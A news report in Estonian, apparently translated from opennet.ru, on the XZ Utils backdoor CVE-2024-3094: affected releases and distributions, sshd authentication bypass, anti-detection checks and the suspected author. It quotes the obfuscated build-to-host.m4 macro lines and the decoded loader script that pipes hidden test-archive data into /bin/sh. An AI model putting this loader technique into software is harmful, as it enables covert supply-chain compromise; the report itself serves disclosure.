XZ Utils pakis, mis sisaldab liblzma raamatukogusid ja kompressitud andmete töötlemise tööriistu formaadis „.xz”, avastas tagaukse (CVE-2024-3094), mis võimaldab püüda ja muuta andmeid, mida töötlevad rakendused, mis on seotud liblzma raamatukoguga. Tag ukse peamine siht on OpenSSH server, mis on seotud libsystemd raamatukoguga mõningates distributsioonides, ja see kasutab omakorda liblzma-d. sshd sidumine haavatava raamatukoguga võimaldab ründajal pääseda SSH-serverisse ilma autentimiseta.
Tagaukse esinemine oli ametlikes väljaannetes 5.6.0 ja 5.6.1, mis avaldati 24. veebruaril ja 9. märtsil ning mis on jõudnud mõningate distributsioonide ja hoidlate, näiteks Gentoo, Arch Linux, Debian sid/unstable, Fedora Rawhide ja 40-beta, openSUSE factory ja tumbleweed, LibreELEC, Alpine edge, Solus, NixOS unstable, OpenIndiana, OpenMandriva rolling, pkgsrc current, Slackware current, Manjaro testing, hulka. Soovitame kõigile xz 5.6.0 ja 5.6.1 väljaanne kasutavatele kasutajatele kiiresti tagasi rullida versioonile 5.4.6.
Probleemi leevendavatest teguritest võib mainida, et liblzma haavatav versioon ei jõudnud suurte distributsioonide stabiilsete väljaanneteni, kuid see mõjutas openSUSE Tumbleweed ja Fedora 40-beta. Arch Linux ja Gentoo kasutasid haavatavat versiooni zx, kuid ei olnud rünnakute suhtes haavatavad, kuna nad ei kasuta openssh patchi systemd-notify toetamiseks, mis toob kaasa sshd sidumise liblzma-ga. Tagaukse probleem ulatub ainult x86_64 alusel ehitatud Linuxi süsteemidesse ja C raamatukogudesse Glibc.
Tagaukse aktiveerimise kood oli peidetud m4-makrosse faili build-to-host.m4, mida kasutas automake tööriistade komplekt ehitamisel. Ehitamise käigus, mille käigus tehti keerulisi obfuskeeritud operatsioone arhiivide põhjal (bad-3-corrupt_lzma2.xz, good-large_compressed.lzma), mis olid mõeldud testimiseks, tekkis objektifail, millel oli pahatahtlik kood, mis kaasati liblzma raamatukogusse ja muudeti mõnede selle funktsioonide töölogikat. Tagaukse aktiveerimise m4-makrosid leidus vabastuste tar-arhiivides, kuid puudusid Git hoidlast. Samas olid pahatahtlikud testimisarhiivid hoidlas olemas, st tagaukse sissetoomine oli olnud ligipääs hoidlale ja vabastuste koostamise protsessidele.
liblzma kasutamisel rakendustes võidi pahatahtlikke muudatusi kasutada andmete püüdmiseks või muutmiseks, samuti sshd tööprotsesside mõjutamiseks. Eriti suutis pahatahtlik kood asendada RSA_public_decrypt funktsiooni, et mööduda sshd autentimise protsessist. Tagauksel oli avastamisvastane kaitse ja see ei ilmunud üles seoses LANG ja TERM keskkonna muutuja määramisega (st kui protsess käivitatakse terminalis) ning määramata keskkonna muutuja LD_DEBUG ja LD_PROFILE, ning aktiveerus ainult käivitatava faili /usr/sbin/sshd täitmisel. Tagaukses olid ka vahendid käivitamise avastamiseks silumise keskkondades.
Eriti failis m4/build-to-host.m4 kasutati konstruktsioone gl_am_configmake=`grep -aErls «#{4}[[:alnum:]]{5}#{4}$» $srcdir/ 2>/dev/null` … gl_[$1]_config=’sed \»r\n\» $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null’
Esimeses konstruktsioonis leidis operatsioon grep faili tests/files/bad-3-corrupt_lzma2.xz, mille lahtipakkimise korral moodustus järgmine skript: ####Hello#### #345U211267$^D330^W [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 eval `grep ^srcdir= config.status` if test -f ../../config.status;then eval `grep ^srcdir= ../../config.status` srcdir=»../../$srcdir» fi export i=»((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048)»;(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr «\114-\321\322-\377\35-\47\14-\34\0-\13\50-\113» «\0-\377»)|xz -F raw —lzma1 -dc|/bin/sh ####World####
Kuidas kurjategijatel õnnestus pääseda projekti xz infrastruktuuri, ei ole veel täielikult selgunud. Samuti ei ole selge, kui palju kasutajaid ja projekte on tagajärjena tagaukse tõttu kompromiteeritud. Eeldatav tagaukse autori (JiaT75 — Jia Tan) puhul, kes postitas reposse nakatunud koodi arhiivid, on selgunud, et ta on olnud suhtluses Fedora arendajatega ja saatis Debianile pull-päringuid, mis on seotud distributsioonide üleminekuga xz 5.6.0 versioonile. Ta ei tekitanud kahtlusi, kuna on osalenud xz arenduses viimase kahe aasta jooksul ning on teise positsiooni omanik muudatuste arvu poolest. Lisaks projektile xz on eeldatav tagaukse autor ka osalenud xz-java ja xz-embedded paketide arendamises. Veelgi enam, Jia Tan lisati mõned päevad tagasi XZ Embedded projekti meeskonda, mida kasutatakse Linuxi kernelis.
Pahalase muudatus tuvastati pärast analüüsi, mis näitas liigset CPU kasutust ja valgrindi genereeritud vigu, kui siseneti Debian sid põhistele süsteemidele läbi ssh. Tasub märkida, et xz 5.6.1 väljaandel olid sees muudatused, mille eeldatav tagaukse autor tegi vastuseks katkestuste ja sshd häirete kohta, mis tekkisid pärast üleminekut zx 5.6.0 versioonile koos tagauksega. Lisaks tegi Jia Tan eelmisel aastal muudatusi, mis ei olnud ühilduvad „-fsanitize=address“ kontrollrežiimiga, mis viis selle väljalülitamiseni fuzzing-testimise ajal.
Allikas: opennet.ru
